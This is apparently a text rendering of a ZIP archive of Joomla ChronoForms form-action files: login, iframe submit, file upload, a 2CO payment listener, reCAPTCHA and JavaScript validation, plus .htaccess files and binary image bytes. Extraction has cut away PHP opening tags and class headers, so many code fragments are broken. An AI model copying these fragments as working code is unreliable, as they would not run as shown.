      PK@y>\)Ccomponents/com_chronoforms/form_actions/check_fields_hash/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ ?components/com_chronoforms/form_actions/joomla_login/index.htmlnuW+A PK@y>\)>components/com_chronoforms/form_actions/joomla_login/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Q&~~Ecomponents/com_chronoforms/form_actions/joomla_login/joomla_login.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Joomla Login', 'tooltip' => 'Tries to login some user to the Joomla system based on the credentials provided.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); // Get required system objects JRequest::setVar('username', JRequest::getVar($params->get('username', ''))); JRequest::setVar('password', JRequest::getVar($params->get('password', ''))); $credentials = array(); $credentials['username'] = JRequest::getVar('username'); $credentials['password'] = JRequest::getVar('password'); if($mainframe->login($credentials) === true){ $this->events['success'] = 1; //redirect if so $redirect = $params->get('redirect_url', ''); if(!empty($redirect)){ $mainframe->redirect($redirect); } }else{ $this->events['fail'] = 1; $form->validation_errors[] = 'Invalid username or password.'; return false; } } function load($clear){ if($clear){ $action_params = array( 'username' => '', 'password' => '', 'redirect_url' => 'index.php' ); } return array('action_params' => $action_params); } } ?>PK@y>\ؐI Ecomponents/com_chronoforms/form_actions/joomla_login/joomla_login.ctpnuW+A
      Joomla Login
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'joomla_login_config_{n}'); ?> tabStart('fields'); ?> input('action_joomla_login_{n}_username_config', array('type' => 'text', 'label' => 'Username field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Username data')); ?> input('action_joomla_login_{n}_password_config', array('type' => 'text', 'label' => 'Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Password data')); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_joomla_login_{n}_redirect_url_config', array('type' => 'text', 'label' => 'Redirect URL', 'class' => 'big_input', 'smalldesc' => 'The URL to redirect to after login.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Assign your form field's names to the required fields names under the "Fields" tab.
      • Configure the settings under the "Settings" tab.

      tabEnd(); ?>
      PK@y>\ 4^^Rcomponents/com_chronoforms/form_actions/iframe_request/cfaction_iframe_request.phpnuW+Aparams); $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $cf_url = $uri->root(); $cf_url .= 'administrator/components/com_chronoforms/form_actions/iframe_request/'; $document->addScript($cf_url.'iFrameFormRequest.js'); //create the JS function ob_start(); ?> //form_name; ?> = new iFrameFormRequest('chronoform_form_name; ?>',{ onRequest: function(){ get('onrequest_fn'))) > 0){ echo trim($params->get('onrequest_fn')).";"; } ?> }, onComplete: function(response){ get('response_element_id'))) > 0): ?> document.id('get('response_element_id')); ?>').set('html',response); get('onsuccess_fn'))) > 0){ echo trim($params->get('onsuccess_fn')).";"; } ?> } }); }); //]]> addScriptDeclaration($script); } } ?>PK@y>\ Acomponents/com_chronoforms/form_actions/iframe_request/index.htmlnuW+A PK@y>\Rcomponents/com_chronoforms/form_actions/iframe_request/cfaction_iframe_request.ctpnuW+AloadAction($form, $actiondata); ?>PK@y>\=>hhIcomponents/com_chronoforms/form_actions/iframe_request/iframe_request.phpnuW+A 'redirect', 'title' => 'Redirect/Remote Submit'); var $details = array('title' => 'iFrame Request', 'tooltip' => 'Submit the form using a hidden iFrame, similar to AJAX and supports file uploading.'); function load($clear){ if($clear){ $action_params = array( 'enabled' => 0, 'response_element_id' => '', 'onrequest_fn' => '', 'onsuccess_fn' => '', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PK@y>\L Icomponents/com_chronoforms/form_actions/iframe_request/iframe_request.ctpnuW+A
      iFrame Request
      Header(array('settings' => 'Settings', 'advanced' => 'Advanced', 'help' => 'Help'), 'iframe_request_config_{n}'); ?> tabStart('settings'); ?> input('action_iframe_request_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabel iFrame Request', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Enable the form to be submitted using a hidden iFrame.')); ?> input('action_iframe_request_{n}_response_element_id_config', array('type' => 'text', 'label' => "Response Element ID", 'class' => 'medium_input', 'smalldesc' => "The id of the element which will be loaded with the response string when the request is completed with success.")); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_iframe_request_{n}_onrequest_fn_config', array('type' => 'text', 'label' => "On Request Function name", 'class' => 'medium_input', 'smalldesc' => "A JS function name to run when the request is sent, please add the 2 brackets at the end, e.g: myfn()")); ?> input('action_iframe_request_{n}_onsuccess_fn_config', array('type' => 'text', 'label' => "On Success Function name", 'class' => 'medium_input', 'smalldesc' => "A JS function name to run when the request is completed successfully, please add the 2 brackets at the end, e.g: myfn()")); ?> tabEnd(); ?> tabStart('help'); ?>

      • If you want the user to submit the form without leaving the current page then this action should do what you need.
      • You may wrap the form into a div and use the div's id as the "Response Element ID" to display the submission result.

      tabEnd(); ?>
      PK@y>\]EEKcomponents/com_chronoforms/form_actions/iframe_request/iFrameFormRequest.jsnuW+A/* --- description: This class gives you a method to upload files 'the ajax way' license: MIT-style authors: - Arian Stolwijk requires: [Class, Options, Events, Element, Element.Event, Element.Style] provides: [Element.iFrameFormRequest, iFrameFormRequest] ... */ /** * @author Arian Stolwijk * Idea taken from http://www.webtoolkit.info/ajax-file-upload.html */ var iFrameFormRequest = new Class({ Implements: [Options, Events], options: { /* onRequest: function(){}, onComplete: function(data){}, onFailure: function(){}, */ eventName: 'submit' }, initialize: function(form, options){ this.setOptions(options); var frameId = this.frameId = String.uniqueID(); var loading = false; this.form = document.id(form); this.formEvent = function(){ loading = true; this.fireEvent('request'); }.bind(this); this.iframe = new IFrame({ name: frameId, styles: { display: 'none' }, src: 'about:blank', events: { load: function(){ if (loading){ var doc = this.iframe.contentWindow.document; if (doc && doc.location.href != 'about:blank'){ this.fireEvent('complete', doc.body.innerHTML); } else { this.fireEvent('failure'); } loading = false; } }.bind(this) } }).inject(document.body); this.attach(); }, send: function(){ this.form.submit(); }, attach: function(){ this.target = this.form.get('target'); this.form.set('target', this.frameId) .addEvent(this.options.eventName, this.formEvent); }, detach: function(){ this.form.set('target', this.target) .removeEvent(this.options.eventName, this.formEvent); }, toElement: function(){ return this.iframe; } }); Element.implement('iFrameFormRequest', function(options){ this.store('iFrameFormRequest', new iFrameFormRequest(this, options)); return this; }); PK@y>\)@components/com_chronoforms/form_actions/iframe_request/.htaccessnuW+A Order allow,deny Deny from all PK@y>\{!N4""Ecomponents/com_chronoforms/form_actions/upload_files/upload_files.phpnuW+A 0, 'fail' => 0); var $fail = array('actions' => array('show_HTML')); var $details = array('title' => 'Upload Files', 'tooltip' => "Control the files uploaded through your form's files fields."); var $upload_path = ''; var $params = null; function run($form, $actiondata){ $this->params = $params = new JParameter($actiondata->params); $files_config = $this->params->get('files', ''); if($actiondata->enabled == 1 && !empty($files_config)){ jimport('joomla.utilities.error'); jimport('joomla.filesystem.file'); $upload_path = $this->params->get('upload_path'); if(!empty($upload_path)){ $upload_path = str_replace(array("/", "\\"), DS, $upload_path); if(substr($upload_path, -1) == DS){ $upload_path = substr_replace($upload_path, '', -1); } $upload_path = str_replace("JOOMLA_PATH", JPATH_SITE, $upload_path).DS; $this->params->set('upload_path', $upload_path); }else{ $upload_path = JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'uploads'.DS.$form->form_details->name.DS; } $this->upload_path = $upload_path; if(!JFile::exists($this->upload_path.DS.'index.html')){ if(!JFolder::create($this->upload_path)){ JError::raiseWarning(100, 'Couldn\'t create upload directroy 1'); $this->events['fail'] = 1; return; } $dummy_c = ''; if(!JFile::write($this->upload_path.DS.'index.html', $dummy_c)){ JError::raiseWarning(100, 'Couldn\'t create upload directroy 2'); $this->events['fail'] = 1; return; } } $files_array = explode(",", trim($this->params->get('files', ''))); //get array fields $array_fields = array(); if(trim($this->params->get('array_fields', ''))){ $array_fields = explode(",", trim($this->params->get('array_fields', ''))); } foreach($files_array as $file_string){ if(strpos($file_string, ':') !== false){ $file_data = explode(':', trim($file_string)); $file_extensions = explode('-', $file_data[1]); //convert all extensions to lower case foreach($file_extensions as $k => $file_extension){ $file_extensions[$k] = strtolower($file_extension); } //get the posted file details $field_name = $file_data[0]; $file_post = JRequest::getVar($field_name, array('error' => 99999), 'files', 'array'); if(in_array($field_name, $array_fields) && !empty($file_post['name']) && ($file_post['name'] === array_values($file_post['name']))){ foreach($file_post['name'] as $k => $v){ $uploaded_file_data = $this->processUpload($form, array('name' => $file_post['name'][$k], 'tmp_name' => $file_post['tmp_name'][$k], 'error' => $file_post['error'][$k], 'size' => $file_post['size'][$k]), $file_data[0], $file_extensions); if(is_array($uploaded_file_data)){ $form->files[$field_name][] = $uploaded_file_data; $form->data[$field_name][] = $uploaded_file_data['name']; }elseif($uploaded_file_data === false){ return false; } } }else{ $uploaded_file_data = $this->processUpload($form, $file_post, $file_data[0], $file_extensions); if(is_array($uploaded_file_data)){ $form->files[$field_name] = $uploaded_file_data; $form->data[$field_name] = $uploaded_file_data['name']; }elseif($uploaded_file_data === false){ return false; } } } } //add the data key if(!isset($form->data['_PLUGINS_']['upload_files'])){ $form->data['_PLUGINS_']['upload_files'] = array(); } $form->data['_PLUGINS_']['upload_files'] = array_merge($form->data['_PLUGINS_']['upload_files'], $form->files); } } function processUpload($form, $file_post = array(), $field_name, $file_extensions){ //check errors if(isset($file_post['error']) && !empty($file_post['error'])){ if($file_post['error'] == 99999){ //the file field type is not present in the posted data //continue; return; }else if($file_post['error'] == 4 && isset($file_post['name']) && empty($file_post['name']) && isset($file_post['size']) && ($file_post['size'] == 0)){ //No file has been selected //continue; return; } $form->debug[] = 'PHP returned this error for file upload by : '.$field_name.', PHP error is: '.$file_post['error']; $form->validation_errors[$field_name] = $file_post['error']; $this->events['fail'] = 1; return false; }else{ $form->debug[] = 'Upload routine started for file upload by : '.$field_name; } if((bool)$this->params->get('safe_file_name', 1) === true){ $file_name = JFile::makeSafe($file_post['name']); }else{ $file_name = utf8_decode($file_post['name']); } $real_file_name = $file_name; $file_tmp_name = $file_post['tmp_name']; $file_info = pathinfo($file_name); //mask the file name if(strlen($this->params->get('forced_file_name', '')) > 0){ $file_name = str_replace('FILE_NAME', $file_name, $this->params->get('forced_file_name', '')); }else{ $file_name = date('YmdHis').'_'.$file_name; } //check the file size if($file_tmp_name){ //check max size if(($file_post["size"] / 1024) > (int)$this->params->get('max_size', 100)){ $form->debug[] = 'File : '.$field_name.' size is over the max limit.'; $form->validation_errors[$field_name] = $this->params->get('max_error', 'Sorry, Your uploaded file size ('.($file_post["size"] / 1024).' KB) exceeds the allowed limit.'); $this->events['fail'] = 1; return false; }else if(($file_post["size"] / 1024) < (int)$this->params->get('min_size', 0)){ $form->debug[] = 'File : '.$field_name.' size is less than the minimum limit.'; $form->validation_errors[$field_name] = $this->params->get('min_error', 'Sorry, Your uploaded file size ('.($file_post["size"] / 1024).' KB) is less than the minimum limit.'); $this->events['fail'] = 1; return false; }else if(!in_array(strtolower($file_info['extension']), $file_extensions)){ $form->debug[] = 'File : '.$field_name.' extension is not allowed.'; $form->validation_errors[$field_name] = $this->params->get('type_error', 'Sorry, Your uploaded file type is not allowed.'); $this->events['fail'] = 1; return false; }else{ //$this->upload_path = $this->params->get('upload_path', JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'uploads'.DS.$form->form_details->name.DS); $uploaded_file = JFile::upload($file_tmp_name, $this->upload_path.$file_name); if($uploaded_file){ if((bool)$this->params->get('zip_file', 0) === true){ $zipped = new ZipArchive(); if($zipped->open($this->upload_path.$file_name.'.zip', ZIPARCHIVE::CREATE) !== true){ $form->debug[] = "Couldn't compress the uploaded file."; }else{ $zipped->addFile($this->upload_path.$file_name, $file_name); $zipped->close(); if((bool)$this->params->get('zip_delete_file', 0) === true){ unlink($this->upload_path.$file_name); $file_name = $file_name.'.zip'; } } } $uploaded_file_data = array(); $uploaded_file_data = array('name' => $file_name, 'original_name' => $real_file_name, 'path' => $this->upload_path.$file_name, 'size' => $file_post["size"]); //Try to generate an auto file link $site_link = JURI::Base(); if(substr($site_link, -1) == "/"){ $site_link = substr_replace($site_link, '', -1); } $uploaded_file_data['link'] = str_replace(array(JPATH_SITE, DS), array($site_link, "/"), $this->upload_path.$file_name); //$form->data[$field_name] = $file_name; $form->debug[] = $this->upload_path.$file_name.' has been uploaded successfully.'; $this->events['success'] = 1; return $uploaded_file_data; }else{ $form->debug[] = $this->upload_path.$file_name.' could not be uploaded!!'; $this->events['fail'] = 1; return false; } } } } function load($clear){ if($clear){ $action_params = array( 'files' => '', 'array_fields' => '', 'upload_path' => '', 'forced_file_name' => '', 'max_size' => '100', 'min_size' => '0', 'enabled' => 1, 'safe_file_name' => 1, 'zip_file' => 0, 'zip_delete_file' => 0, 'max_error' => 'Sorry, Your uploaded file size exceeds the allowed limit.', 'min_error' => 'Sorry, Your uploaded file size is less than the minimum limit.', 'type_error' => 'Sorry, Your uploaded file type is not allowed.', ); } return array('action_params' => $action_params); } } ?>PK@y>\ZKEcomponents/com_chronoforms/form_actions/upload_files/upload_files.ctpnuW+A
      Upload Files
      Header(array('settings' => 'Settings', 'advanced' => 'Advanced', 'help' => 'Help'), 'upload_files_config_{n}'); ?> tabStart('settings'); ?> input('action_upload_files_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_upload_files_{n}_files_config', array('type' => 'text', 'label' => "Fields Configuration", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'Config string, e.g: field1:jpg-png-gif,field2:zip-rar,field3:doc-docx-pdf')); ?> input('action_upload_files_{n}_upload_path_config', array('type' => 'text', 'label' => "Upload Path", 'class' => 'big_input', 'smalldesc' => 'The files upload path, if left empty, files will be uploaded under this path:
      JOOMLA_PATH/components/com_chronoforms/uploads/FORM_NAME/
      You can use "JOOMLA_PATH" in the path, it will be replaced by the website path in runtime.')); ?> input('action_upload_files_{n}_max_size_config', array('type' => 'text', 'label' => "Max Size in KB", 'class' => 'medium_input', 'value' => '')); ?> input('action_upload_files_{n}_min_size_config', array('type' => 'text', 'label' => "Min Size in KB", 'class' => 'medium_input', 'value' => '')); ?> input('action_upload_files_{n}_max_error_config', array('type' => 'text', 'label' => "Max Size Error Message", 'class' => 'medium_input', 'value' => '')); ?> input('action_upload_files_{n}_min_error_config', array('type' => 'text', 'label' => "Min Size Error Message", 'class' => 'medium_input', 'value' => '')); ?> input('action_upload_files_{n}_type_error_config', array('type' => 'text', 'label' => "File type Error Message", 'class' => 'medium_input', 'value' => '')); ?> input('action_upload_files_{n}_safe_file_name_config', array('type' => 'select', 'label' => 'Safe File name', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'This will remove any special characters from the file name.')); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_upload_files_{n}_array_fields_config', array('type' => 'text', 'label' => "Array Fields", 'class' => 'medium_input', 'value' => '', 'smalldesc' => 'Fields names of type array []')); ?> input('action_upload_files_{n}_zip_file_config', array('type' => 'select', 'label' => 'Compress file', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Would you like to compress the uploaded file ? only .zip compression is supported and this option requires PHP 5.2 or later')); ?> input('action_upload_files_{n}_zip_delete_file_config', array('type' => 'select', 'label' => 'Delete original', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Delete original file after compression ?')); ?> tabEnd(); ?> tabStart('help'); ?>

      • All configured fields share the same max and minimux size check, if you have different sizes then add another "Files upload" action.
      • Files data will be stored after processing under the $form->files AND $form->data['_PLUGINS_']['upload_files'].
      • You can add a "Custom code" action after this one and use this code to check/user the response data stored : print_r2($form->data['_PLUGINS_']['upload_files']);

      tabEnd(); ?>
      PK@y>\ ?components/com_chronoforms/form_actions/upload_files/index.htmlnuW+A PK@y>\)>components/com_chronoforms/form_actions/upload_files/.htaccessnuW+A Order allow,deny Deny from all PK@y>\?components/com_chronoforms/form_actions/2co_listener/index.htmlnuW+APK@y>\xZ*M M Ecomponents/com_chronoforms/form_actions/2co_listener/2co_listener.ctpnuW+A
      2CO Listener
      Header(array('settings' => 'Settings', 'help' => 'Help'), '2co_listener_config_{n}'); ?> tabStart('settings'); ?> input('action_2co_listener_{n}_sid_config', array('type' => 'text', 'label' => "Vendor/Seller ID", 'class' => 'medium_input', 'smalldesc' => 'Enter your 2CO Vendor ID here')); ?> input('action_2co_listener_{n}_secret_config', array('type' => 'text', 'label' => "Secret Word", 'class' => 'medium_input', 'smalldesc' => 'The secret word choosen by the vendor in their 2CO account, used to verify that the response is coming from 2CO')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will process the INS response coming from the 2CO server, you must be a registered 2CO vendor in order to be able to use this one.
      • enter your Vendor id and the secret word choosen by the vendor at the 2CO account area.
      • All the data returned will be stored in the $form->data array
      • For more documentation about the 2CO parameters, please search the 2CO website for "INS".

      tabEnd(); ?>
      PK@y>\9QQEcomponents/com_chronoforms/form_actions/2co_listener/2co_listener.phpnuW+A 'payments', 'title' => 'Payment Gateways/Processors'); var $events = array('hack' => 0, 'new_order' => 0, 'fraud_status' => 0, 'refund' => 0, 'other' => 0); var $details = array('title' => '2CO Listener', 'tooltip' => 'Get the response from the 2CO payment processor.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $vendorid = $params->get('sid'); $secretword = $params->get('secret'); $md5hash = strtoupper(md5($form->data['sale_id'].$vendorid.$form->data['invoice_id'].$secretword)); //if the hash is ok if($md5hash == $form->data['md5_hash']){ //switch messages types switch($form->data['message_type']){ case 'ORDER_CREATED': $this->events['new_order'] = 1; break; case 'FRAUD_STATUS_CHANGED': $this->events['fraud_status'] = 1; break; case 'REFUND_ISSUED': $this->events['refund'] = 1; break; default: $this->events['other'] = 1; break; } }else{ //$this->events['hack'] = 1; } } function load($clear){ if($clear){ $action_params = array( 'sid' => '', 'secret' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\)>components/com_chronoforms/form_actions/2co_listener/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)@components/com_chronoforms/form_actions/load_recaptcha/.htaccessnuW+A Order allow,deny Deny from all PK@y>\> )Rcomponents/com_chronoforms/form_actions/load_recaptcha/cfaction_load_recaptcha.phpnuW+APK@y>\zۮQQIcomponents/com_chronoforms/form_actions/load_recaptcha/load_recaptcha.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $details = array('title' => 'Load Recaptcha', 'tooltip' => 'Renders the ReCaptcha display, you need the "{ReCaptcha}" string in your form code, possibly using a "Custom Element".'); function run($form, $actiondata) { $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); if(!defined('RECAPTCHA_API_SERVER')){ define('RECAPTCHA_API_SERVER', $params->get('api_server')); } if(!defined('RECAPTCHA_API_SECURE_SERVER')){ define('RECAPTCHA_API_SECURE_SERVER', $params->get('api_secure_server')); } $recaptcha_load = "
      ".$this->recaptcha_get_html($params->get('public_key'))."
      "; $script = " var RecaptchaOptions = { theme : '".$params->get('theme', 'red')."', lang : '".$params->get('lang', 'en')."' }; "; $doc = JFactory::getDocument(); $doc->addScriptDeclaration($script); //add CSS fix to the recaptcha input field $doc->addStyleDeclaration('label.recaptcha_input_area_text{line-height: 12px !important;}'); //replace the string $form->form_details->content = str_replace('{ReCaptcha}', $recaptcha_load, $form->form_details->content); } /** * Gets the challenge HTML (javascript and non-javascript version). * This is called from the browser, and the resulting reCAPTCHA HTML widget * is embedded within the HTML form it was called from. * @param string $pubkey A public key for reCAPTCHA * @param string $error The error given by reCAPTCHA (optional, default is null) * @param boolean $use_ssl Should the request be made over ssl? (optional, default is false) * @return string - The HTML to be embedded in the user's form. */ function recaptcha_get_html($pubkey, $error = null, $use_ssl = false) { if ( $pubkey == null || $pubkey == '' ) { die ("To use reCAPTCHA you must get an API key from https://www.google.com/recaptcha/admin/create"); } if ( $use_ssl ) { $server = RECAPTCHA_API_SECURE_SERVER; } else { $server = RECAPTCHA_API_SERVER; } $errorpart = ""; if ( $error ) { $errorpart = "&error=" . $error; } return ' '; } function load($clear) { if ( $clear ) { $action_params = array( 'public_key' => '6LfNoAUAAAAAAKi8QZmjv-QHOvlGtyh509SG3FzG', 'ssl_server' => '0', 'theme' => 'red', 'lang' => 'en', 'api_server' => 'http://www.google.com/recaptcha/api', 'api_secure_server' => 'https://www.google.com/recaptcha/api' ); } return array('action_params' => $action_params); } } ?>PK@y>\ Acomponents/com_chronoforms/form_actions/load_recaptcha/index.htmlnuW+A PK@y>\ Ǒ Icomponents/com_chronoforms/form_actions/load_recaptcha/load_recaptcha.ctpnuW+A
      Load ReCaptcha
      Header(array('settings' => 'Settings', 'advanced' => 'Advanced'), 'load_recaptcha_config_{n}'); ?> tabStart('settings'); ?> input('action_load_recaptcha_{n}_theme_config', array( 'type' => 'select', 'label' => 'Theme', 'options' => array( 'clean' => 'Clean', 'red' => 'Red', 'white' => 'White', 'blackglass' => 'Blackglass', 'custom' => 'Custom' ) ) ); ?> input('action_load_recaptcha_{n}_lang_config', array( 'type' => 'select', 'label' => 'Language', 'options' => array( 'en' => 'English', 'nt' => 'Dutch', 'fr' => 'French', 'de' => 'German', 'pt' => 'Portuguese', 'ru' => 'Russian', 'es' => 'Spanish', 'tr' => 'Turkish' ) ) ); ?> input('action_load_recaptcha_{n}_public_key_config', array('type' => 'text', 'label' => "ReCaptcha public key", 'class' => 'big_input', 'value' => '')); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_load_recaptcha_{n}_api_server_config', array('type' => 'text', 'label' => "ReCaptcha server", 'class' => 'big_input', 'value' => '')); ?> input('action_load_recaptcha_{n}_api_secure_server_config', array('type' => 'text', 'label' => "ReCaptcha secure server", 'class' => 'big_input', 'value' => '')); ?> tabEnd(); ?>
      PK@y>\)Scomponents/com_chronoforms/form_actions/auto_javascript_validation/assets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\/ǟgcomponents/com_chronoforms/form_actions/auto_javascript_validation/assets/auto_javascript_validation.jsnuW+Avar AutoJavascriptValidation = new Class({ initialize: function(form_name, rules) { this.run(form_name, rules); }, run: function(form_name, rules) { var check_group = 1; for(rule in rules){ rules[rule].each(function(field){ var k = 0; if($chk($$("input[name='"+field+"']")[k]) && $$("input[name='"+field+"']")[k].get('type') == 'hidden'){ k = 1; } if($chk($$("input[name='"+field+"']")[k])){ $$("input[name='"+field+"']")[k].addClass("validate['"+rule+"']"); } if($chk($$("select[name='"+field+"']")[k])){ $$("select[name='"+field+"']")[k].addClass("validate['"+rule+"']"); } if($chk($$("textarea[name='"+field+"']")[k])){ $$("textarea[name='"+field+"']")[k].addClass("validate['"+rule+"']"); } if($chk($$("input[name='"+field+"[]']")[0])){ $$("input[name='"+field+"[]']").each(function(check){ check.addClass("validate['group["+check_group+"]']"); }); check_group = check_group + 1; } }); }; } });PK@y>\Tcomponents/com_chronoforms/form_actions/auto_javascript_validation/assets/index.htmlnuW+APK@y>\#  acomponents/com_chronoforms/form_actions/auto_javascript_validation/auto_javascript_validation.ctpnuW+A
      Auto JavaScript Validation
      Header(array('fields' => 'Fields', 'help' => 'Help'), 'auto_javascript_validation_config_{n}'); ?> tabStart('fields'); ?> input('action_auto_javascript_validation_{n}_required_config', array('type' => 'text', 'label' => "Required", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of required fields names, these fields should exist in the data array in order to pass this check.")); ?> input('action_auto_javascript_validation_{n}_alpha_config', array('type' => 'text', 'label' => "Alpha", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an alpha value.")); ?> input('action_auto_javascript_validation_{n}_alphanum_config', array('type' => 'text', 'label' => "Alpha Numeric", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an alpha numeric value.")); ?> input('action_auto_javascript_validation_{n}_digit_config', array('type' => 'text', 'label' => "Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a digit value.")); ?> input('action_auto_javascript_validation_{n}_nodigit_config', array('type' => 'text', 'label' => "No Digit", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a non digit value.")); ?> input('action_auto_javascript_validation_{n}_number_config', array('type' => 'text', 'label' => "Number", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a number value.")); ?> input('action_auto_javascript_validation_{n}_email_config', array('type' => 'text', 'label' => "Email", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an email value.")); ?> input('action_auto_javascript_validation_{n}_phone_config', array('type' => 'text', 'label' => "Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain a phone value.")); ?> input('action_auto_javascript_validation_{n}_phone_inter_config', array('type' => 'text', 'label' => "International Phone", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain an international phone value.")); ?> input('action_auto_javascript_validation_{n}_url_config', array('type' => 'text', 'label' => "URL", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain URLs.")); ?> input('action_auto_javascript_validation_{n}_image_config', array('type' => 'text', 'label' => "Image", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "Comma delimited list of fields names which should only contain images (jpg, jpeg, png, gif, bmp).")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Enter the fields names you want to check in the text field for the rule you want them to be checked against.

      tabEnd(); ?>
      PK@y>\Mcomponents/com_chronoforms/form_actions/auto_javascript_validation/index.htmlnuW+APK@y>\QfGacomponents/com_chronoforms/form_actions/auto_javascript_validation/auto_javascript_validation.phpnuW+A '1_validation', 'title' => 'Validation'); var $details = array('title' => 'Auto JavaScript Validation', 'tooltip' => 'Auto validate specific fields, useful only when your form has custom code.'); function run($form, $actiondata){ } function load($clear){ if($clear){ $action_params = array( 'required' => '', 'alpha' => '', 'alphanum' => '', 'digit' => '', 'nodigit' => '', 'number' => '', 'email' => '', 'phone' => '', 'phone_inter' => '', 'url' => '', 'image' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\Y  jcomponents/com_chronoforms/form_actions/auto_javascript_validation/cfaction_auto_javascript_validation.phpnuW+Aparams); $output = ''; $mainframe = JFactory::getApplication(); $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $uri = JFactory::getURI(); $document->addScript($uri->root().'administrator/components/com_chronoforms/form_actions/auto_javascript_validation/assets/auto_javascript_validation.js'); $rules = array('required', 'alpha', 'alphanum', 'digit', 'nodigit', 'number', 'email', 'phone', 'phone_inter', 'url', 'image'); ob_start(); ?> window.addEvent('domready', function() { get($rule, ''))){ $fields_list = explode(',', trim($params->get($rule, ''))); } foreach($fields_list as $k => $field){ $fields_list[$k] = "'".$field."'"; } $n_fields_list = implode(',', $fields_list); $object_list[] = "'".$rule."': [".$n_fields_list."]"; endforeach; ?> new AutoJavascriptValidation('form_name; ?>', ); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } //load validation files $form->loadActionHelper('show_html'); $CfactionShowHtmlHelper = new CfactionShowHtmlHelper(); $CfactionShowHtmlHelper->_loadValidationScripts($form); } } ?>PK@y>\)Lcomponents/com_chronoforms/form_actions/auto_javascript_validation/.htaccessnuW+A Order allow,deny Deny from all PK@y>\VIǫjcomponents/com_chronoforms/form_actions/auto_javascript_validation/cfaction_auto_javascript_validation.ctpnuW+AloadAction($form, $actiondata); ?>PK@y>\)1components/com_chronoforms/form_widgets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)>components/com_chronoforms/form_widgets/multi_upload/.htaccessnuW+A Order allow,deny Deny from all PK@y>\?components/com_chronoforms/form_widgets/multi_upload/index.htmlnuW+APK@y>\QXXKcomponents/com_chronoforms/form_widgets/multi_upload/input_multi_upload.phpnuW+A 'Attachments', 'input_name' => 'attachments_{n}[]', 'hide_label' => '0', 'label_over' => '0', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'data_path' => '', 'data_path_name' => '', 'data_path_original_name' => '', 'data_path_id' => '', 'limit' => 3, ); } return array('element_params' => $element_params); } } ?>PK@y>\)Ecomponents/com_chronoforms/form_widgets/multi_upload/images/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ʈFcomponents/com_chronoforms/form_widgets/multi_upload/images/delete.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<fIDATxLS[hU\fKL7-}jmGQPXl41TzQZAeK%AJ*""HSR4kfomsN߸f 4a&(In08{UGe2m(@$p f魫_;!P8̓t7]lW* Ta td K&aYZ6 _}F@)纈RskPFHO!„>|g$FyX?~?Ig\>otf9>N끏Xn9SHtra }t ;PcyX ~} J[lB4GxUi=U[} tc)~x(k#`t ՗qz[/@3EDX@lBzcN >Wo!i!Ux:c7@F#$ rV|x Ofi0v4PV SSpkA,8$T(Ak%Ƒ>{5*jƟ?tK^^+^$JnQ>a,߾|j5/pƹ2־TT3 W׋v>+,B A&;1إ ž;>|mwG{Z,K"~X>SDώ>ı,W`?Բl$I۲`9/|wEunyg 